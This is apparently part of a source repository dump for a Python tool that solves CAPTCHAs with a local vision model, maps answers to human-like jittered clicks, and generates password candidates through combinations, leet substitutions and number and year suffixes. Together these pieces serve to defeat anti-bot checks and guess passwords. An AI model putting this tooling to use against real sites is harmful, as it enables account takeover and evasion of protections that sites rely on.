return {**DEFAULT_OLLAMA_CONFIG, **cfg}
except Exception as exc:
logger.warning(f"Could not load Ollama config from {_CONFIG_PATH}: {exc}")
return DEFAULT_OLLAMA_CONFIG.copy()
class CaptchaSolver:
"""
Sends a CAPTCHA image to an Ollama vision model and parses the answer.
Supports:
• Text/number CAPTCHAs → returns the string to type
• Grid-select CAPTCHAs → returns tile numbers to click
"""
def __init__(
self,
host: Optional[str] = None,
model: Optional[str] = None,
timeout: int = 120,
):
cfg = _load_config()
self.host = (host or cfg.get("ollama_host", _OLLAMA_DEFAULT)).rstrip("/")
self.model = model or cfg.get("model", "")
self.timeout = timeout
self.temperature = float(cfg.get("temperature", 0.05))
self.top_p = float(cfg.get("top_p", 0.9))
self.max_tokens = int(cfg.get("max_tokens", cfg.get("num_predict", 256)))
self.prompt_template = (cfg.get("prompt_template") or "").strip()
self.session = requests.Session()
self.session.headers.update({"Content-Type": "application/json"})
def reload_config(self):
"""Re-read config_ollama.json (call after user saves settings)."""
cfg = _load_config()
self.host = cfg.get("ollama_host", _OLLAMA_DEFAULT).rstrip("/")
self.model = cfg.get("model", "")
self.temperature = float(cfg.get("temperature", 0.05))
self.top_p = float(cfg.get("top_p", 0.9))
self.max_tokens = int(cfg.get("max_tokens", cfg.get("num_predict", 256)))
self.prompt_template = (cfg.get("prompt_template") or "").strip()
def is_available(self) -> bool:
try:
r = self.session.get(f"{self.host}/api/tags", timeout=3)
return r.status_code == 200
except Exception:
return False
def list_models(self) -> List[str]:
try:
r = self.session.get(f"{self.host}/api/tags", timeout=5)
if r.status_code == 200:
return [m["name"] for m in r.json().get("models", [])]
except Exception:
pass
return []
# ── Main entry point ──────────────────────────────────────────────────────
def _model_family(self) -> str:
"""Return the Ollama model family string (e.g. 'deepseekocr', 'llava')."""
try:
r = self.session.get(f"{self.host}/api/tags", timeout=5)
if r.status_code == 200:
for m in r.json().get("models", []):
if m.get("name") == self.model:
return m.get("details", {}).get("family", "").lower()
except Exception:
pass
return ""
def solve(
self,
image_bytes: bytes,
prompt: Optional[str] = None,
) -> Tuple[bool, str]:
"""
Solve a CAPTCHA from raw image bytes.
Tries /api/chat first (required by deepseek-ocr and newer models),
then falls back to /api/generate for older vision models (llava, etc.).
Returns:
(success: bool, answer: str)
answer is either the text to type OR comma-separated tile numbers.
"""
if not self.model:
return False, "No model configured — set one in the Setup tab"
b64 = base64.b64encode(image_bytes).decode("utf-8")
prompt = prompt or self.prompt_template or self._default_prompt()
options = {
"temperature": self.temperature,
"num_predict": self.max_tokens,
"top_p": self.top_p,
}
# ── Try /api/chat (works for deepseek-ocr, llava, minicpm-v, etc.) ──
try:
chat_payload = {
"model": self.model,
"messages": [
{
"role": "user",
"content": prompt,
"images": [b64],
}
],
"stream": False,
"options": options,
}
resp = self.session.post(
f"{self.host}/api/chat",
json=chat_payload,
timeout=self.timeout,
)
if resp.status_code == 200:
raw = resp.json().get("message", {}).get("content", "").strip()
if raw:
answer = self._parse_answer(raw)
logger.debug(f"CAPTCHA (chat) raw='{raw[:80]}' parsed='{answer}'")
return bool(answer), answer
# empty content — fall through to generate endpoint
logger.debug("CAPTCHA /api/chat returned empty content, trying /api/generate")
except requests.Timeout:
return False, f"Ollama timed out ({self.timeout}s) — model may be loading"
except requests.ConnectionError:
return False, f"Cannot reach Ollama at {self.host}"
except Exception as e:
logger.debug(f"/api/chat failed ({e}), trying /api/generate")
# ── Fallback: /api/generate (legacy llava / bakllava style) ──────────
try:
gen_payload = {
"model": self.model,
"prompt": prompt,
"images": [b64],
"stream": False,
"options": options,
}
resp = self.session.post(
f"{self.host}/api/generate",
json=gen_payload,
timeout=self.timeout,
)
if resp.status_code != 200:
return False, f"Ollama error HTTP {resp.status_code}: {resp.text[:120]}"
raw = resp.json().get("response", "").strip()
if not raw:
return False, "Model returned empty response — check model supports vision"
answer = self._parse_answer(raw)
logger.debug(f"CAPTCHA (generate) raw='{raw[:80]}' parsed='{answer}'")
return bool(answer), answer
except requests.Timeout:
return False, f"Ollama timed out ({self.timeout}s)"
except requests.ConnectionError:
return False, f"Cannot reach Ollama at {self.host}"
except Exception as e:
return False, f"Solver error: {e}"
def solve_from_pil(self, image, prompt: Optional[str] = None) -> Tuple[bool, str]:
"""Convenience: accept a PIL Image object."""
buf = BytesIO()
image.save(buf, format="PNG")
return self.solve(buf.getvalue(), prompt)
def test_text_generation(self, prompt: str = "Reply with exactly: OK - Model is working") -> Tuple[bool, str]:
"""Run a simple text-only generation through the same solver config."""
if not self.model:
return False, "No model configured — set one in the Setup tab"
payload = {
"model": self.model,
"prompt": prompt,
"stream": False,
"options": {
"temperature": self.temperature,
"num_predict": self.max_tokens,
"top_p": self.top_p,
},
}
try:
resp = self.session.post(
f"{self.host}/api/generate",
json=payload,
timeout=self.timeout,
)
if resp.status_code != 200:
return False, f"Ollama error HTTP {resp.status_code}: {resp.text[:120]}"
response = resp.json().get("response", "").strip()
return bool(response), response or "Model returned empty response"
except requests.Timeout:
return False, f"Ollama timed out ({self.timeout}s)"
except requests.ConnectionError:
return False, f"Cannot reach Ollama at {self.host}"
except Exception as e:
return False, f"Solver test error: {e}"
# ── Helpers ───────────────────────────────────────────────────────────────
def _default_prompt(self) -> str:
"""
Return the best prompt for the configured model.
deepseek-ocr (and other pure OCR models) work best with a single short
instruction — long verbose prompts cause them to return empty output.
General vision models (llava, minicpm-v, etc.) benefit from more detail.
"""
model_lower = (self.model or "").lower()
# Pure OCR models — keep it minimal
if any(x in model_lower for x in ("deepseek-ocr", "ocr", "tesseract")):
return "Read the text in this image."
# General vision / chat models — can handle richer instructions
return (
"You are a CAPTCHA solver. Look at the image.\n"
"If it shows distorted text/numbers, reply with ONLY those characters (e.g. XK9P2).\n"
"If it is a grid CAPTCHA, reply with ONLY the comma-separated tile numbers (e.g. 2,5,7).\n"
"Reply with the answer only — no explanation."
)
@staticmethod
def _parse_answer(raw: str) -> str:
"""
Extract the useful CAPTCHA answer from the model's raw response.
Handles:
- Tile selection: "2,5,7" or "tiles: 2, 5, 7"
- Text CAPTCHA: "BX7K2" or "BX7 K2" or "The answer is BX7K2"
"""
if not raw:
return ""
# Strip markdown code fences
raw = re.sub(r"```[^`]*```", "", raw, flags=re.DOTALL).strip()
# Work with just the first line (model sometimes explains after)
first_line = raw.split("\n")[0].strip()
# ── Determine mode: tile selection vs text CAPTCHA ───────────────────
# Remove common filler words that appear in tile responses
filler_removed = re.sub(
r"\b(tiles?|click|select|choose|numbers?|and|the|are|:)\b",
" ", first_line, flags=re.IGNORECASE
).strip()
letter_count = len(re.findall(r"[A-Za-z]", filler_removed))
digit_count = len(re.findall(r"\d", filler_removed))
# Tile mode: after removing filler words, mostly digits remain
if digit_count >= 2 and letter_count == 0:
nums = re.findall(r"\d+", first_line)
return ",".join(nums)
# ── Text/alphanumeric CAPTCHA ─────────────────────────────────────────
# Strip spaces — OCR models sometimes insert spaces between characters
compact = re.sub(r"\s+", "", first_line)
if re.fullmatch(r"[A-Za-z0-9]{2,12}", compact):
return compact.upper()
# Verbose response: extract the final alphanumeric token
# e.g. "The answer is BX7K2" or "CAPTCHA text: ABC123"
tokens = re.findall(r"[A-Za-z0-9]{3,12}", first_line)
if tokens:
return tokens[-1].upper()
# Fallback: first line trimmed
return first_line[:64]

271
src/captcha/coord_mapper.py Normal file
View File

@@ -0,0 +1,271 @@
"""
Coordinate mapping system — converts image-based positions from vision model
analysis into actual browser/screen click coordinates.
Handles:
- Grid-based CAPTCHAs (reCAPTCHA 3x3, 4x4)
- Absolute coordinate mapping
- Element-relative positioning
- Viewport offset calculations
"""
import logging
import random
from dataclasses import dataclass
from typing import List, Optional, Tuple
logger = logging.getLogger(__name__)
@dataclass
class ClickTarget:
"""A single click target with its screen coordinates."""
x: int
y: int
label: str = ""
confidence: float = 1.0
tile_index: int = 0 # 1-based grid position, 0 if not grid-based
class CoordMapper:
"""
Maps vision model output to actual click coordinates.
Supports multiple CAPTCHA types and coordinate systems.
"""
# Common CAPTCHA grid configurations
GRID_CONFIGS = {
"3x3": {"rows": 3, "cols": 3, "total": 9},
"4x4": {"rows": 4, "cols": 4, "total": 16},
"2x3": {"rows": 2, "cols": 3, "total": 6},
"3x4": {"rows": 3, "cols": 4, "total": 12},
}
def __init__(
self,
viewport_offset: Tuple[int, int] = (0, 0),
browser_offset: Tuple[int, int] = (0, 0),
humanize: bool = True,
):
"""
Args:
viewport_offset: (x, y) offset of the browser viewport on screen
browser_offset: (x, y) offset of the browser chrome/toolbars
humanize: add random jitter to clicks to appear human
"""
self.viewport_offset = viewport_offset
self.browser_offset = browser_offset
self.humanize = humanize
def set_viewport_offset(self, x: int, y: int):
"""Set the viewport offset (position of browser content area on screen)."""
self.viewport_offset = (x, y)
def set_browser_offset(self, x: int, y: int):
"""Set browser chrome offset (toolbars, address bar height)."""
self.browser_offset = (x, y)
def map_grid_tiles(
self,
grid_image_size: Tuple[int, int],
tile_indices: List[int],
grid_type: str = "3x3",
) -> List[ClickTarget]:
"""
Map grid tile indices to click coordinates.
Args:
grid_image_size: (width, height) of the grid image
tile_indices: list of 1-based tile indices to click (e.g., [1, 4, 7])
grid_type: '3x3', '4x4', etc.
Returns:
List of ClickTarget with screen coordinates
"""
config = self.GRID_CONFIGS.get(grid_type)
if not config:
logger.warning(f"Unknown grid type: {grid_type}, defaulting to 3x3")
config = self.GRID_CONFIGS["3x3"]
rows, cols = config["rows"], config["cols"]
img_w, img_h = grid_image_size
tile_w = img_w / cols
tile_h = img_h / rows
targets = []
for idx in tile_indices:
if idx < 1 or idx > config["total"]:
logger.warning(f"Tile index {idx} out of range for {grid_type}")
continue
# Convert 1-based index to (row, col) 0-based
row = (idx - 1) // cols
col = (idx - 1) % cols
# Center of the tile
center_x = int(col * tile_w + tile_w / 2)
center_y = int(row * tile_h + tile_h / 2)
# Apply offsets and humanization
click_x, click_y = self._apply_offsets(center_x, center_y)
targets.append(ClickTarget(
x=click_x,
y=click_y,
label=f"Tile {idx} (row={row+1}, col={col+1})",
confidence=1.0,
tile_index=idx,
))
logger.info(f"Mapped {len(targets)} grid tiles: {tile_indices}")
return targets
def map_absolute_coordinates(
self,
coordinates: List[Tuple[int, int]],
image_size: Tuple[int, int],
viewport_size: Tuple[int, int],
) -> List[ClickTarget]:
"""
Map absolute coordinates from the vision model to screen coordinates.
Handles scaling if the analyzed image differs from actual viewport size.
Args:
coordinates: list of (x, y) from the vision model
image_size: (width, height) of the image that was analyzed
viewport_size: (width, height) of the actual browser viewport
"""
img_w, img_h = image_size
vp_w, vp_h = viewport_size
# Calculate scale factors
scale_x = vp_w / img_w if img_w > 0 else 1
scale_y = vp_h / img_h if img_h > 0 else 1
targets = []
for x, y in coordinates:
# Scale to viewport coordinates
scaled_x = int(x * scale_x)
scaled_y = int(y * scale_y)
# Apply offsets and humanization
click_x, click_y = self._apply_offsets(scaled_x, scaled_y)
targets.append(ClickTarget(
x=click_x,
y=click_y,
label=f"Coordinate ({x}, {y})",
confidence=1.0,
))
return targets
def map_element_positions(
self,
elements: List[dict],
image_size: Tuple[int, int],
viewport_size: Tuple[int, int],
) -> List[ClickTarget]:
"""
Map descriptive element positions (e.g., 'top-left', 'center') to coordinates.
Args:
elements: list of dicts with 'position' field
image_size: (width, height) of analyzed image
viewport_size: (width, height) of actual viewport
"""
img_w, img_h = image_size
vp_w, vp_h = viewport_size
scale_x = vp_w / img_w if img_w > 0 else 1
scale_y = vp_h / img_h if img_h > 0 else 1
# Named position presets (relative to image)
named_positions = {
"top-left": (0.1, 0.1),
"top-center": (0.5, 0.1),
"top-right": (0.9, 0.1),
"center-left": (0.1, 0.5),
"center": (0.5, 0.5),
"center-right": (0.9, 0.5),
"bottom-left": (0.1, 0.9),
"bottom-center": (0.5, 0.9),
"bottom-right": (0.9, 0.9),
}
targets = []
for elem in elements:
position = elem.get("position", "center").lower()
label = elem.get("label", "")
if position in named_positions:
rel_x, rel_y = named_positions[position]
abs_x = int(rel_x * img_w)
abs_y = int(rel_y * img_h)
else:
# Try to parse as "x%, y%" or "x, y"
try:
parts = position.replace("%", "").split(",")
if len(parts) == 2:
abs_x = int(float(parts[0].strip()) / 100 * img_w)
abs_y = int(float(parts[1].strip()) / 100 * img_h)
else:
continue
except (ValueError, IndexError):
logger.warning(f"Could not parse position: {position}")
continue
# Scale and offset
click_x, click_y = self._apply_offsets(
int(abs_x * scale_x),
int(abs_y * scale_y),
)
targets.append(ClickTarget(
x=click_x,
y=click_y,
label=label or position,
confidence=elem.get("confidence", 0.5),
))
return targets
def _apply_offsets(self, x: int, y: int) -> Tuple[int, int]:
"""Apply viewport offset, browser offset, and humanization jitter."""
# Add browser chrome offset
x += self.browser_offset[0]
y += self.browser_offset[1]
# Add viewport offset
x += self.viewport_offset[0]
y += self.viewport_offset[1]
# Humanize: add small random jitter (±3 pixels)
if self.humanize:
x += random.randint(-3, 3)
y += random.randint(-3, 3)
return (x, y)
def sort_by_reading_order(self, targets: List[ClickTarget], grid_type: str = "3x3") -> List[ClickTarget]:
"""Sort click targets in natural reading order (left-to-right, top-to-bottom)."""
config = self.GRID_CONFIGS.get(grid_type, self.GRID_CONFIGS["3x3"])
cols = config["cols"]
return sorted(targets, key=lambda t: ((t.tile_index - 1) // cols, (t.tile_index - 1) % cols))
def deduplicate_close_clicks(self, targets: List[ClickTarget], min_distance: int = 10) -> List[ClickTarget]:
"""Remove click targets that are too close together."""
if not targets:
return []
filtered = [targets[0]]
for t in targets[1:]:
too_close = False
for f in filtered:
dist = ((t.x - f.x) ** 2 + (t.y - f.y) ** 2) ** 0.5
if dist < min_distance:
too_close = True
break
if not too_close:
filtered.append(t)
return filtered

View File

@@ -0,0 +1,269 @@
"""
Ollama vision inference client — sends images to local Ollama models
and parses structured responses for CAPTCHA solving.
"""
import base64
import json
import logging
import re
from dataclasses import dataclass, field
from io import BytesIO
from typing import Dict, List, Optional, Tuple, Any
import requests
from PIL import Image
logger = logging.getLogger(__name__)
OLLAMA_DEFAULT_HOST = "http://localhost:11434"
@dataclass
class CaptchaAnalysis:
"""Structured result from CAPTCHA analysis."""
description: str = ""
instruction: str = ""
target_elements: List[Dict[str, Any]] = field(default_factory=list)
click_coordinates: List[Tuple[int, int]] = field(default_factory=list)
tile_positions: List[int] = field(default_factory=list)
raw_response: str = ""
confidence: float = 0.0
success: bool = False
error: Optional[str] = None
class OllamaVisionClient:
"""
Client for Ollama vision-language models.
Handles image encoding, prompt construction, response parsing.
"""
def __init__(self, host: str = OLLAMA_DEFAULT_HOST, model: str = "llava:13b"):
self.host = host.rstrip("/")
self.model = model
self.session = requests.Session()
self.session.headers.update({"Content-Type": "application/json"})
def is_available(self) -> bool:
"""Check if Ollama server is reachable."""
try:
resp = self.session.get(f"{self.host}/api/tags", timeout=3)
return resp.status_code == 200
except requests.RequestException:
return False
def list_models(self) -> List[str]:
"""Get list of available model names."""
try:
resp = self.session.get(f"{self.host}/api/tags", timeout=5)
if resp.status_code == 200:
data = resp.json()
return [m["name"] for m in data.get("models", [])]
return []
except requests.RequestException:
return []
def _encode_image(self, image: Image.Image, format: str = "PNG") -> str:
"""Convert PIL Image to base64 string."""
buffer = BytesIO()
image.save(buffer, format=format)
return base64.b64encode(buffer.getvalue()).decode("utf-8")
def _encode_image_path(self, image_path: str) -> str:
"""Load image from path and encode to base64."""
with open(image_path, "rb") as f:
return base64.b64encode(f.read()).decode("utf-8")
def analyze_captcha(
self,
image: Image.Image,
prompt: Optional[str] = None,
temperature: float = 0.1,
max_tokens: int = 512,
) -> CaptchaAnalysis:
"""
Analyze a CAPTCHA image using the vision model.
Returns structured analysis with coordinates and elements.
"""
default_prompt = (
"You are a CAPTCHA solving AI. Look at this image carefully.\n\n"
"1. Describe what you see in detail\n"
"2. What is the instruction? (e.g., 'Select all images with bicycles', 'Click the traffic light')\n"
"3. List each target element and its approximate position (row, column or x,y coordinates)\n"
"4. If this is a grid-based CAPTCHA (like reCAPTCHA), which tile positions (1-9 or 1-16) contain the target?\n"
"5. What is your confidence level (0.0 to 1.0)?\n\n"
"Respond in this JSON format:\n"
"{\n"
' "description": "...",\n'
' "instruction": "...",\n'
' "target_elements": [{"label": "...", "position": "top-left", "confidence": 0.95}],\n'
' "tile_positions": [1, 4, 7],\n'
' "click_coordinates": [[120, 45], [120, 180]],\n'
' "confidence": 0.95\n'
"}"
)
analysis = CaptchaAnalysis()
analysis.raw_response = ""
try:
# Encode image
b64_image = self._encode_image(image)
# Build request
payload = {
"model": self.model,
"prompt": prompt or default_prompt,
"images": [b64_image],
"stream": False,
"options": {
"temperature": temperature,
"num_predict": max_tokens,
},
}
# Send to Ollama
resp = self.session.post(
f"{self.host}/api/generate",
json=payload,
timeout=120,
)
if resp.status_code != 200:
analysis.error = f"Ollama returned HTTP {resp.status_code}: {resp.text[:200]}"
logger.error(analysis.error)
return analysis
data = resp.json()
analysis.raw_response = data.get("response", "")
# Parse structured response
self._parse_response(analysis)
return analysis
except requests.ConnectionError:
analysis.error = f"Cannot connect to Ollama at {self.host}"
logger.error(analysis.error)
return analysis
except requests.Timeout:
analysis.error = "Ollama request timed out (120s)"
logger.error(analysis.error)
return analysis
except Exception as e:
analysis.error = f"Unexpected error: {str(e)[:200]}"
logger.error(analysis.error, exc_info=True)
return analysis
def _parse_response(self, analysis: CaptchaAnalysis) -> None:
"""Parse the model's response into structured fields."""
response = analysis.raw_response
# Try to extract JSON block
json_match = re.search(r"\{[^{}]*\}", response, re.DOTALL)
if json_match:
try:
parsed = json.loads(json_match.group())
analysis.description = parsed.get("description", "")
analysis.instruction = parsed.get("instruction", "")
analysis.target_elements = parsed.get("target_elements", [])
analysis.tile_positions = parsed.get("tile_positions", [])
analysis.click_coordinates = [
tuple(coord) for coord in parsed.get("click_coordinates", [])
]
analysis.confidence = float(parsed.get("confidence", 0.0))
analysis.success = analysis.confidence > 0.5
return
except (json.JSONDecodeError, ValueError, TypeError) as e:
logger.warning(f"Failed to parse JSON from response: {e}")
# Fallback: extract information heuristically
analysis.description = response[:500]
# Extract tile positions from text
tile_match = re.findall(r"(?:tile|position|grid)\s*(?::|#)?\s*(\d+)", response, re.IGNORECASE)
if tile_match:
analysis.tile_positions = [int(t) for t in tile_match]
# Extract coordinates
coord_match = re.findall(r"\((\d+),\s*(\d+)\)", response)
if coord_match:
analysis.click_coordinates = [(int(x), int(y)) for x, y in coord_match]
# Determine success heuristically
analysis.success = (
len(analysis.tile_positions) > 0
or len(analysis.click_coordinates) > 0
or "confidence" in response.lower()
)
def chat_with_image(
self,
image: Image.Image,
messages: List[Dict[str, str]],
temperature: float = 0.1,
) -> Optional[str]:
"""
Chat completion with image context.
Useful for multi-turn CAPTCHA conversations.
"""
try:
b64_image = self._encode_image(image)
payload = {
"model": self.model,
"messages": messages,
"stream": False,
"options": {"temperature": temperature},
}
# Add image to last message
if payload["messages"]:
payload["messages"][-1]["images"] = [b64_image]
resp = self.session.post(
f"{self.host}/api/chat",
json=payload,
timeout=120,
)
if resp.status_code == 200:
data = resp.json()
return data.get("message", {}).get("content", "")
return None
except Exception as e:
logger.error(f"Chat with image failed: {e}")
return None
def test_connection(self) -> Dict[str, Any]:
"""Test the full connection pipeline."""
result = {
"server_available": False,
"model_available": False,
"inference_works": False,
"details": "",
}
# Check server
if not self.is_available():
result["details"] = f"Cannot reach Ollama at {self.host}"
return result
result["server_available"] = True
# Check model
models = self.list_models()
if self.model not in models:
result["details"] = f"Model '{self.model}' not found. Available: {models[:5]}"
return result
result["model_available"] = True
# Test inference with a tiny image
try:
tiny_img = Image.new("RGB", (10, 10), color="black")
test_analysis = self.analyze_captcha(tiny_img, prompt="Reply with just: OK")
result["inference_works"] = bool(test_analysis.raw_response)
result["details"] = f"Model responded: {test_analysis.raw_response[:100]}"
except Exception as e:
result["details"] = f"Inference test failed: {e}"
return result

View File

@@ -0,0 +1,221 @@
"""
Screen capture and image preprocessing for CAPTCHA solving.
Captures browser viewports, crops elements, and prepares images for vision analysis.
"""
import io
import logging
import os
import tempfile
from dataclasses import dataclass
from datetime import datetime
from enum import Enum
from pathlib import Path
from typing import Optional, Tuple
from PIL import Image, ImageEnhance, ImageFilter, ImageGrab
logger = logging.getLogger(__name__)
class CaptureMethod(Enum):
"""Available screen capture methods."""
PIL = "pil" # PIL ImageGrab (full screen)
PLAYWRIGHT = "playwright" # Playwright screenshot (browser viewport)
SELENIUM = "selenium" # Selenium screenshot (browser viewport)
MANUAL = "manual" # User-provided image path
@dataclass
class CaptureResult:
"""Result of a screen capture operation."""
image: Optional[Image.Image] = None
path: Optional[str] = None
method: CaptureMethod = CaptureMethod.PIL
timestamp: str = ""
viewport_size: Tuple[int, int] = (0, 0)
error: Optional[str] = None
success: bool = False
class Screenshotter:
"""
Captures screenshots from various sources and preprocesses them
for optimal vision model analysis.
"""
def __init__(self, debug_dir: Optional[str] = None):
self.debug_dir = debug_dir
if debug_dir:
Path(debug_dir).mkdir(parents=True, exist_ok=True)
def capture_screen(self, region: Optional[Tuple[int, int, int, int]] = None) -> CaptureResult:
"""
Capture the entire screen or a specific region using PIL.
region: (left, top, right, bottom) bounding box.
"""
result = CaptureResult(method=CaptureMethod.PIL)
result.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f")[:-3]
try:
if region:
screenshot = ImageGrab.grab(bbox=region)
result.viewport_size = (region[2] - region[0], region[3] - region[1])
else:
screenshot = ImageGrab.grab()
result.viewport_size = screenshot.size
result.image = screenshot
result.success = True
# Save debug copy
if self.debug_dir:
debug_path = Path(self.debug_dir) / f"capture_{result.timestamp}.png"
screenshot.save(debug_path)
result.path = str(debug_path)
logger.info(f"Screen captured: {result.viewport_size}")
return result
except Exception as e:
result.error = f"Screen capture failed: {e}"
logger.error(result.error)
return result
def capture_browser_viewport(
self,
driver,
method: CaptureMethod = CaptureMethod.PLAYWRIGHT,
) -> CaptureResult:
"""
Capture browser viewport via Playwright or Selenium.
driver: Playwright page object or Selenium WebDriver.
"""
result = CaptureResult(method=method)
result.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f")[:-3]
try:
if method == CaptureMethod.PLAYWRIGHT:
# Playwright page.screenshot()
screenshot_bytes = driver.screenshot(full_page=False)
result.image = Image.open(io.BytesIO(screenshot_bytes))
result.viewport_size = result.image.size
elif method == CaptureMethod.SELENIUM:
# Selenium WebDriver screenshot
screenshot_bytes = driver.get_screenshot_as_png()
result.image = Image.open(io.BytesIO(screenshot_bytes))
result.viewport_size = result.image.size
result.success = True
if self.debug_dir:
debug_path = Path(self.debug_dir) / f"browser_{result.timestamp}.png"
result.image.save(debug_path)
result.path = str(debug_path)
logger.info(f"Browser viewport captured: {result.viewport_size}")
return result
except Exception as e:
result.error = f"Browser capture failed: {e}"
logger.error(result.error)
return result
def load_image(self, path: str) -> CaptureResult:
"""Load an image from disk."""
result = CaptureResult(method=CaptureMethod.MANUAL)
result.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f")[:-3]
try:
result.image = Image.open(path)
result.viewport_size = result.image.size
result.path = path
result.success = True
logger.info(f"Image loaded: {path} ({result.viewport_size})")
return result
except Exception as e:
result.error = f"Failed to load image {path}: {e}"
logger.error(result.error)
return result
@staticmethod
def preprocess_for_vision(image: Image.Image) -> Image.Image:
"""
Preprocess image for optimal vision model analysis.
- Resize if too large (Ollama models have context limits)
- Enhance contrast
- Convert to RGB
"""
img = image.convert("RGB")
# Resize if too large (max 1024px on longest side)
max_dim = 1024
w, h = img.size
if max(w, h) > max_dim:
ratio = max_dim / max(w, h)
new_size = (int(w * ratio), int(h * ratio))
img = img.resize(new_size, Image.LANCZOS)
logger.info(f"Image resized from {w}x{h} to {new_size}")
# Enhance contrast for better recognition
enhancer = ImageEnhance.Contrast(img)
img = enhancer.enhance(1.2)
# Slight sharpening
img = img.filter(ImageFilter.SHARPEN)
return img
@staticmethod
def crop_captcha_element(
image: Image.Image,
bbox: Tuple[int, int, int, int],
padding: int = 5,
) -> Image.Image:
"""
Crop a specific element from the image.
bbox: (left, top, right, bottom)
padding: extra pixels around the crop area.
"""
left, top, right, bottom = bbox
left = max(0, left - padding)
top = max(0, top - padding)
right = min(image.width, right + padding)
bottom = min(image.height, bottom + padding)
return image.crop((left, top, right, bottom))
@staticmethod
def split_grid(image: Image.Image, rows: int = 3, cols: int = 3) -> list:
"""
Split a CAPTCHA grid image into individual tiles.
Returns list of (tile_index, tile_image) tuples.
Useful for reCAPTCHA-style 3x3 or 4x4 grids.
"""
tiles = []
w, h = image.size
tile_w = w // cols
tile_h = h // rows
for row in range(rows):
for col in range(cols):
left = col * tile_w
top = row * tile_h
right = (col + 1) * tile_w
bottom = (row + 1) * tile_h
tile = image.crop((left, top, right, bottom))
tile_index = row * cols + col + 1 # 1-based
tiles.append((tile_index, tile))
return tiles
def cleanup_debug(self, max_age_hours: int = 24):
"""Clean up old debug screenshots."""
if not self.debug_dir:
return
cutoff = datetime.now().timestamp() - (max_age_hours * 3600)
debug_path = Path(self.debug_dir)
for f in debug_path.glob("capture_*.png"):
if f.stat().st_mtime < cutoff:
f.unlink()
logger.debug(f"Cleaned up: {f}")

0
src/engine/__init__.py Normal file
View File

125
src/engine/combinatorics.py Normal file
View File

@@ -0,0 +1,125 @@
"""
Combinatorial logic for password generation.
Handles Cartesian products, filtering, and pattern matching.
"""
import itertools
from typing import List, Optional, Set, Tuple
def cartesian_product(*lists: List[str]) -> List[str]:
"""Generate all combinations from multiple lists."""
if not lists:
return []
return ["".join(combo) for combo in itertools.product(*lists)]
def apply_length_filter(passwords: List[str], min_len: int, max_len: int) -> List[str]:
"""Filter passwords by length range."""
return [p for p in passwords if min_len <= len(p) <= max_len]
def apply_required_chars_filter(
passwords: List[str],
require_upper: bool = False,
require_lower: bool = False,
require_digit: bool = False,
require_symbol: bool = False,
symbols: str = "!@#$%^&*",
) -> List[str]:
"""Filter passwords that contain required character types."""
result = []
for pwd in passwords:
if require_upper and not any(c.isupper() for c in pwd):
continue
if require_lower and not any(c.islower() for c in pwd):
continue
if require_digit and not any(c.isdigit() for c in pwd):
continue
if require_symbol and not any(c in symbols for c in pwd):
continue
result.append(pwd)
return result
_LEET_TABLE = str.maketrans("aeiostbgAEIOSTBG", "4310578943105789")
def apply_leet_transform(passwords: List[str]) -> List[str]:
"""
Generate leet variants using a single-pass character table.
Produces exactly 2 variants per input (original + fully leet'd),
which avoids the exponential blowup of the old iterative rule approach.
"""
seen: Set[str] = set()
result: List[str] = []
for pwd in passwords:
if pwd not in seen:
seen.add(pwd)
result.append(pwd)
leet = pwd.translate(_LEET_TABLE)
if leet not in seen:
seen.add(leet)
result.append(leet)
return result
def apply_capitalization_variants(passwords: List[str]) -> List[str]:
"""Generate capitalization variants."""
variants = set()
for pwd in passwords:
variants.add(pwd)
variants.add(pwd.lower())
variants.add(pwd.upper())
variants.add(pwd.capitalize())
# CamelCase (first letter of each word uppercase)
# For single words, capitalize is sufficient
# Toggle case
variants.add("".join(
c.upper() if i % 2 == 0 else c.lower()
for i, c in enumerate(pwd)
))
return list(variants)
def generate_number_suffixes(start: int = 0, end: int = 9999) -> List[str]:
"""Generate number suffixes in common patterns."""
if start > end:
start, end = end, start
numbers = set()
for n in range(start, end + 1):
numbers.add(str(n))
# Common patterns
if n < 100:
numbers.add(f"{n:02d}")
if n < 1000:
numbers.add(f"{n:03d}")
# Add common special numbers
special = ["123", "007", "69", "420", "666", "777", "000", "111", "222",
"333", "444", "555", "888", "999", "1234", "4321", "0000"]
numbers.update(special)
return list(numbers)
def generate_common_symbols() -> List[str]:
"""Return common symbols used in passwords."""
return ["!", "@", "#", "$", "%", "^", "&", "*", "_", "-", "+", "=", ".", "?"]
def generate_year_range(start: int = 1990, end: int = 2030) -> List[str]:
"""Generate year strings."""
return [str(y) for y in range(start, end + 1)]
def estimate_combinations(word_count: int, num_count: int, sym_count: int, patterns: List[str]) -> int:
"""Estimate total combinations for a given configuration."""
total = 0
for pattern in patterns:
count = 1
if "{word}" in pattern:
count *= word_count
if "{num}" in pattern:
count *= num_count
if "{sym}" in pattern:
count *= sym_count
total += count
return total

View File

@@ -0,0 +1,270 @@
"""
GPU / high-performance acceleration for password generation.
Priority order:
1. CuPy (NVIDIA CUDA) — if installed and a GPU is present
2. NumPy vectorized ops — fast CPU path
3. Pure Python — always-available fallback
"""
import itertools
import logging
import os
import sys
from typing import List, Optional
from config import GPU_THRESHOLD
logger = logging.getLogger(__name__)
# ── Fix CUDA DLL discovery before importing CuPy ────────────────────────────
# When CuPy is pip-installed (cupy-cuda12x), the CUDA runtime DLLs land inside
# the `nvidia.*` sub-packages rather than in the system CUDA toolkit directory.
# CuPy's pathfinder won't locate nvrtc.dll unless those bin/ dirs are on PATH.
def _inject_nvidia_paths() -> None:
"""Configure CuPy to use pip-installed CUDA packages (no system toolkit needed).
When CuPy is installed via pip (cupy-cuda12x + nvidia-cuda-* packages),
the CUDA runtime, nvrtc, and cublas DLLs land inside
site-packages/nvidia/<subpkg>/bin/.
CuPy requires:
- CUDA_PATH env var pointing to a directory with bin/, include/, lib/
(nvidia/cuda_runtime fits this requirement exactly).
- All DLL directories on PATH so Windows can load them at import time.
"""
try:
extra_dirs: list = []
cuda_path_candidate: str = ""
for sp in sys.path:
if "site-packages" not in sp:
continue
nvidia_root = os.path.join(sp, "nvidia")
if not os.path.isdir(nvidia_root):
continue
for sub in os.listdir(nvidia_root):
sub_path = os.path.join(nvidia_root, sub)
# Collect every bin/ directory that holds DLLs
bin_dir = os.path.join(sub_path, "bin")
if os.path.isdir(bin_dir) and any(
f.endswith(".dll") for f in os.listdir(bin_dir)
):
extra_dirs.append(bin_dir)
# Prefer cuda_runtime as CUDA_PATH (has bin/ + include/ + lib/)
